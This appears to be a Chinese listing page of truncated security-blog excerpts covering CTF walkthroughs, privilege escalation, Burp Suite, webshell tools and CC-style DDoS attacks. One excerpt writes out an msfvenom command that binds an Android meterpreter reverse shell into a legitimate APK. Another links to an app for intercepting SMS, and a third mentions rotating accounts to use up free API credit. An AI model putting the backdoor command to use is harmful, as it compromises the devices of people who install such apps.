[]为所使用的工具,图片顺序正确,dirb和nmap和sqlmap比较简单就没图片了[nmap]只开放了80端口[dirb]然后目录爆破然后有一个pipinfo和输入框sql注入(不过这个里面什么都没有)[sqlmap]不过sqlmap -...

在msf中其实通过help命令就可以看到，我们可以加-x ［正常应用.apk］这个参数来进行捆绑：msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.83 lport=5555 -x 1.apk R>2.apk(ro...

引言：为什么你需要这款神器？在渗透测试、红队演练或CTF比赛中，本地提权（Privilege Escalation） 往往是突破内网的关键一步。然而，传统提权方法依赖手工枚举漏洞、编译EXP、适配系统架构，...

 准备1.首先光猫和路由器需开启ipv6，并且光猫开启桥接模式，路由器需使用PPPOE上网，具体方法参考网络。可查询 http://test-ipv6.com/2.在手机上搭建网站并不陌生，比如KSWEB软件或者其他的...

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。...

https://3574178263.lanzoul.com/i64q00kkbfyb该软件是通过socket连接指定服务器抓取米国的手机号来截短信。 对于身份证号码，我不知道真假，没有测试。通过解压安装包，在/assets/res/下IDnum...

前言众所周知，Burp Suite 不仅仅是是一款抓包工具，更是网络安全领域不可或缺的神兵利器。但 Kali Linux 自带的社区版功能有限，许多高级功能无法使用，且全英文界面让不少朋友望而却步。今天...

前言逆向接口虽然免费，但是访问有限制、速度慢、经常崩溃，所以我再提供一个官方开放接口的版本，使用api key，无需重置token，没有地区限制（至少我没发现）,新账号有18美元额度，用完换号，...

本视频仅含有教学意义，若他人进行违法行为 ，与本人无关。 请谨记'任何未授权的渗透行为为均属违法行为 '工具下载 第一步获取软件后替换apktool文件‘第二步运行一下命令bash install.sh第三...

PrivHunterAI一款通过被动代理方式，利用主流 AI（如 Kimi、DeepSeek、GPT 等）检测越权漏洞的工具。其核心检测功能依托相关 AI 引擎的开放 API 构建，支持 HTTPS 协议的数据传输与交互下载地址...

工具介绍OpenArk 是一款用于 Windows 的开源反 rookit (ARK) 工具。Ark是Anti-Rootkit的缩写，它是一款逆向/编程帮手，也是用户发现操作系统中隐藏恶意软件的工具。其工具集合190+个，包括恶意...

攻击介绍CC (ChallengeCollapsar) 攻击是 DDoS 攻击的一种类型，使用代理服务器向受害服务器发送大量貌似合法的请求。CC 根据其工具命名，攻击者使用 VPN 代理，利用众多广泛可用的免费代理服务...

前言这篇文章笔者整理了目前所见到过的使用多的Webshell网站管理工具，这里只对这些工具做了简单介绍，并没有写具体使用方式，大家如果有兴趣可以自己去看一下使用说明，同时也欢迎大家补充一些...